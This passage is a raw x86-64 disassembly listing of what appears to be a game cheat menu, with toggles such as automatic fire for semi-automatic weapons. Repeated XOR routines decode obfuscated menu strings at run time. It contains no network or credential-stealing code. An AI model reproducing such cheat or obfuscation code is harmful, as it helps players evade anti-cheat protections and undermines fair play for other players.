movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x18
jl 0x140064c40
cmp r8d, 0x19
jge 0x140064d81
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x19
jl 0x140064d50
lea rdx, [0x1400b3edb]
mov rcx, r10
call fcn.140042be0
cmp byte [0x1400aeff4], 1
jne 0x140064db9
cmp byte [0x1400aef77], 1
jne 0x140064db9
xor ecx, ecx
call fcn.140007910
test al, al
je 0x140064db9
lea rcx, [0x14009f938]
call fcn.1400161e0
cmp byte [0x1400ae053], 0
je 0x140065017
lea rdx, [rbp + 0x750]
mov byte [rsp + 0x7e], 0
lea rcx, [rsp + 0x7e]
call fcn.140087520
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x140064e11
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor byte [rax + 4], 0x35
xor byte [rax + 5], 0x36
xor byte [rax + 6], 0x37
xor byte [rax + 7], 0x38
xor byte [rax + 8], 0x39
xor byte [rax + 9], 0x3a
xor cl, 0x3b
mov byte [rax + 0xa], cl
lea rdx, [0x1400b4b99]
mov rcx, rax
call fcn.140042be0
cmp byte [0x1400ae053], 1
jne 0x140064e3d
movzx eax, byte [0x1400aef77]
cmp al, 1
mov ecx, eax
cmove ecx, edi
mov byte [0x1400aef77], cl
cmp byte [0x1400b4b99], 1
jne 0x140064ff7
lea rdx, [rbp + 0x830]
mov byte [0x1400b4b99], 1
lea rcx, [rsp + 0x7f]
mov byte [rsp + 0x7f], 0
call fcn.140087550
mov rbx, rax
cmp byte [rax + 0xb], 0
je 0x140064fd1
mov r8d, edi
cmp esi, 2
jl 0x140064f8c
movdqa xmm2, xmmword [0x1400a2240]
mov eax, 4
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400a2250]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm5, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.1111111111111111]
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rbx]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbx], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rbx + 4]
pxor xmm2, xmm0
movd dword [rbx + 4], xmm2
mov r9d, r8d
add r9, rbx
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x140064fa0
movaps xmm2, xmm11
lea rcx, [rbp + 0x3d8]
movaps xmm1, xmm13
call fcn.140002fe0
mov r8, rax
lea rdx, [0x1400b3cbc]
mov rcx, rbx
call fcn.1400423f0
cmp byte [0x1400aeff4], 1
jne 0x140065017
xor ecx, ecx
call fcn.140007910
test al, al
je 0x140065017
lea rcx, str.Semi___automatic_weapons_will_be_automatic
call fcn.1400161e0
cmp byte [0x1400aef77], 0
je 0x140065410
lea rdx, [rbp + 0x1980]
mov byte [rbp - 0x80], 0
lea rcx, [rbp - 0x80]
call fcn.140087570
mov r10, rax
cmp byte [rax + 0x19], 0
je 0x1400651e1
mov r8d, edi
cmp esi, 2
jl 0x1400651a9
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x18
jl 0x1400650a0
cmp r8d, 0x1a
jge 0x1400651e1
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x1a
jl 0x1400651b0
lea rdx, [0x1400b4b99]
mov rcx, r10
call fcn.140042be0
cmp byte [0x1400b4b99], 1
jne 0x1400653e7
lea rdx, [rbp + 0x1ae0]
mov byte [0x1400b4b99], 1
lea rcx, [rbp - 0x7f]
mov byte [rbp - 0x7f], 0
call fcn.1400875a0
mov rbx, rax
cmp byte [rax + 0x1d], 0
je 0x1400653c1
mov r8d, edi
cmp esi, 2
jl 0x140065389
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, rbx
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x18
jl 0x140065280
cmp r8d, 0x1e
jge 0x1400653c1
movsxd r9, r8d
add r9, rbx
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x1e
jl 0x140065390
movaps xmm2, xmm11
lea rcx, [rbp + 0x3e0]
movaps xmm1, xmm13
call fcn.140002fe0
mov r8, rax
lea rdx, [0x1400b3cbc]
mov rcx, rbx
call fcn.1400423f0
cmp byte [0x1400aeff4], 1
jne 0x140065410
cmp byte [0x1400aef77], 1
jne 0x140065410
xor ecx, ecx
call fcn.140007910
test al, al
je 0x140065410
lea rcx, str.C_______________
call fcn.1400161e0
cmp byte [0x1400ae053], 0
je 0x140065527
lea rdx, [rbp + 0x580]
mov byte [rbp - 0x7e], 0
lea rcx, [rbp - 0x7e]
call fcn.1400875d0
movzx ecx, byte [rax + 8]
test cl, cl
je 0x14006545e
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor byte [rax + 4], 0x35
xor byte [rax + 5], 0x36
xor byte [rax + 6], 0x37
xor byte [rax + 7], 0x38
xor cl, 0x39
mov byte [rax + 8], cl
lea rdx, [0x1400aef75]
mov rcx, rax
call fcn.140042be0
cmp byte [0x1400ae053], 1
jne 0x14006548a
movzx eax, byte [0x1400aef77]
cmp al, 1
mov ecx, eax
cmove ecx, edi
mov byte [0x1400aef77], cl
cmp byte [0x1400aef75], 1
jne 0x140065507
lea rdx, [rbp + 0x6a0]
mov byte [0x1400aef75], 1
lea rcx, [rbp - 0x7d]
mov byte [rbp - 0x7d], 0
call fcn.1400875f0
mov rbx, rax
movzx eax, byte [rax + 9]
test al, al
je 0x1400654e1
xor byte [rbx], 0x31
xor byte [rbx + 1], 0x32
xor byte [rbx + 2], 0x33
xor byte [rbx + 3], 0x34
xor byte [rbx + 4], 0x35
xor byte [rbx + 5], 0x36
xor byte [rbx + 6], 0x37
xor byte [rbx + 7], 0x38
xor byte [rbx + 8], 0x39
xor al, 0x3a
mov byte [rbx + 9], al
movaps xmm2, xmm11
lea rcx, [rbp + 0x3e8]
movaps xmm1, xmm13
call fcn.140002fe0
mov r8, rax
lea rdx, [0x1400aef94]
mov rcx, rbx
call fcn.1400423f0
cmp byte [0x1400aeff4], 1
jne 0x140065527
xor ecx, ecx
call fcn.140007910
test al, al
je 0x140065527
lea rcx, str.Cleans_the_hot_bar
call fcn.1400161e0
cmp byte [0x1400aef77], 0
je 0x1400658e0
lea rdx, [rbp + 0x1ce0]
mov byte [rbp - 0x7c], 0
lea rcx, [rbp - 0x7c]
call fcn.140087610
mov r10, rax
cmp byte [rax + 0x1e], 0
je 0x1400656f1
mov r8d, edi
cmp esi, 2
jl 0x1400656b9
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x18
jl 0x1400655b0
cmp r8d, 0x1f
jge 0x1400656f1
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x1f
jl 0x1400656c0
lea rdx, [0x1400aef75]
mov rcx, r10
call fcn.140042be0
cmp byte [0x1400aef75], 1
jne 0x1400658b7
lea rdx, [rbp + 0xa20]
mov byte [0x1400aef75], 1
lea rcx, [rbp - 0x7b]
mov byte [rbp - 0x7b], 0
call fcn.140087650
mov rbx, rax
cmp byte [rax + 0xe], 0
je 0x140065891
mov r8d, edi
cmp esi, 2
jl 0x14006584d
movdqa xmm2, xmmword [0x1400a2240]
mov eax, 4
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400a2250]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm5, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.1111111111111111]
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rbx]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbx], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rbx + 4]
pxor xmm2, xmm0
movd dword [rbx + 4], xmm2
mov r9d, r8d
add r9, rbx
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x140065860
movaps xmm2, xmm11
lea rcx, [rbp + 0x3f0]
movaps xmm1, xmm13
call fcn.140002fe0
mov r8, rax
lea rdx, [0x1400aef94]
mov rcx, rbx
call fcn.1400423f0
cmp byte [0x1400aeff4], 1
jne 0x1400658e0
cmp byte [0x1400aef77], 1
jne 0x1400658e0
xor ecx, ecx
call fcn.140007910
test al, al
je 0x1400658e0
lea rcx, [0x14009fa98]
call fcn.1400161e0
cmp byte [0x1400ae053], 0
je 0x140065b37
lea rdx, [rbp + 0x760]
mov byte [rbp - 0x7a], 0
lea rcx, [rbp - 0x7a]
call fcn.140087680
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x140065936
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor byte [rax + 4], 0x35
xor byte [rax + 5], 0x36
xor byte [rax + 6], 0x37
xor byte [rax + 7], 0x38
xor byte [rax + 8], 0x39
xor byte [rax + 9], 0x3a
xor cl, 0x3b
mov byte [rax + 0xa], cl
lea rdx, [0x1400b321d]
mov rcx, rax
call fcn.140042be0
cmp byte [0x1400ae053], 1
jne 0x140065962
movzx eax, byte [0x1400aef77]
cmp al, 1
mov ecx, eax
cmove ecx, edi
mov byte [0x1400aef77], cl
cmp byte [0x1400b321d], 1
jne 0x140065b17
lea rdx, [rbp + 0x840]
mov byte [0x1400b321d], 1
lea rcx, [rbp - 0x79]
mov byte [rbp - 0x79], 0
call fcn.1400876b0
mov rbx, rax
cmp byte [rax + 0xb], 0
je 0x140065af1
mov r8d, edi
cmp esi, 2
jl 0x140065aaf
movdqa xmm2, xmmword [0x1400a2240]
mov eax, 4
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400a2250]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm5, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.1111111111111111]
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rbx]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbx], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rbx + 4]
pxor xmm2, xmm0
movd dword [rbx + 4], xmm2
mov r9d, r8d
add r9, rbx
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x140065ac0
movaps xmm2, xmm11
lea rcx, [rbp + 0x3f8]
movaps xmm1, xmm13
call fcn.140002fe0
mov r8, rax
lea rdx, [0x1400af004]
mov rcx, rbx
call fcn.1400423f0
cmp byte [0x1400aeff4], 1
jne 0x140065b37
xor ecx, ecx
call fcn.140007910
test al, al
je 0x140065b37
lea rcx, str.Takes_off_your_clothes__quickly_
call fcn.1400161e0
cmp byte [0x1400aef77], 0
je 0x140065f30
lea rdx, [rbp + 0x19a0]
mov byte [rbp - 0x78], 0
lea rcx, [rbp - 0x78]
call fcn.1400876d0
mov r10, rax
cmp byte [rax + 0x19], 0
je 0x140065d01
mov r8d, edi
cmp esi, 2
jl 0x140065cc9
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x18
jl 0x140065bc0
cmp r8d, 0x1a
jge 0x140065d01
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x1a
jl 0x140065cd0
lea rdx, [0x1400b321d]
mov rcx, r10
call fcn.140042be0
cmp byte [0x1400b321d], 1
jne 0x140065f07
lea rdx, [rbp + 0x1860]
mov byte [0x1400b321d], 1
lea rcx, [rbp - 0x77]
mov byte [rbp - 0x77], 0
call fcn.140087700
mov rbx, rax
cmp byte [rax + 0x15], 0
je 0x140065ee1
mov r8d, edi
cmp esi, 2
jl 0x140065ea9
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, rbx
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x140065da0
cmp r8d, 0x16
jge 0x140065ee1
movsxd r9, r8d
add r9, rbx
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x16
jl 0x140065eb0
movaps xmm2, xmm11
lea rcx, [rbp + 0x400]
movaps xmm1, xmm13
call fcn.140002fe0
mov r8, rax
lea rdx, [0x1400af004]
mov rcx, rbx
call fcn.1400423f0
cmp byte [0x1400aeff4], 1
jne 0x140065f30
cmp byte [0x1400aef77], 1
jne 0x140065f30
xor ecx, ecx
call fcn.140007910
test al, al
je 0x140065f30
lea rcx, [0x14009faf0]
call fcn.1400161e0
cmp byte [0x1400ae053], 0
je 0x1400662a7
lea rdx, [rbp + 0x950]
mov byte [rbp - 0x76], 0
lea rcx, [rbp - 0x76]
call fcn.140087730
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x1400660b1
mov r8d, edi
cmp esi, 2
jl 0x14006607a
movdqa xmm2, xmmword [0x1400a2240]
mov eax, 4
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400a2250]
movdqa xmm0, xmm2
